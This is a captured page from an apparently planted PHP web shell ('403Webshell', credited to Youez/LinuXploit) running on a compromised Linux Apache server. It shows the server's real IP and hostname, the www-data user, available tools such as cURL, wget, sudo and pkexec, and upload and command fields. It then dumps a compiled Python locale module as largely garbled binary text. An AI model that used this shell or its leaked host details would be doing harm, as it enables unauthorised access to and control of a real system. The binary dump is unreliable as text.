403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.206
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/xdg/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/xdg/__pycache__/Locale.cpython-310.pyc
o

�stZo�@sFdZddlZddlmZdZdd�Zddd�Zdd	d
�Zgae�dS)z�
Helper Module for Locale settings

This module is based on a ROX module (LGPL):

http://cvs.sourceforge.net/viewcvs.py/rox/ROX-Lib2/python/rox/i18n.py?rev=1.3&view=log
�N)�	normalizez>(\[([a-zA-Z]+)(_[a-zA-Z]+)?(\.[a-zA-Z0-9-]+)?(@[a-zA-Z]+)?\])?c
Cst|�}d}d}d}d}|�d�}|dkr&||d�}|d|�}||O}nd}|�d�}d}|dkr9|d|�}|�d�}|dkrS||d�}|d|�}||O}nd}|}	g}
t|d�D]&}||@s�|	}||@rp||7}||@rx||7}||@r�||7}|
�|�q_|
��|
S)	N���r�@��.�_)r�find�range�append�reverse)
�locale�COMPONENT_CODESET�COMPONENT_MODIFIER�COMPONENT_TERRITORY�mask�pos�modifier�codeset�	territory�language�ret�i�val�r�,/usr/lib/python3/dist-packages/xdg/Locale.py�_expand_langsB






�rcCsf|durg}dD]}tj�|�}|r|�d�}nqg}|D]}t|�D]}||vr/|�|�q$q|S)N)�LANGUAGE�LC_ALL�LC_MESSAGES�LANG�:)�os�environ�get�splitrr)�	languages�envarr�nelangs�lang�nelangrrr�expand_languages3s 
�
��r,cCs|r	t|g�adSt�adS�N)r,�langs)rrrr�updateGs
r/r-)	�__doc__r#rr�regexrr,r/r.rrrr�<module>s
%



Youez - 2016 - github.com/yon3zu
LinuXploit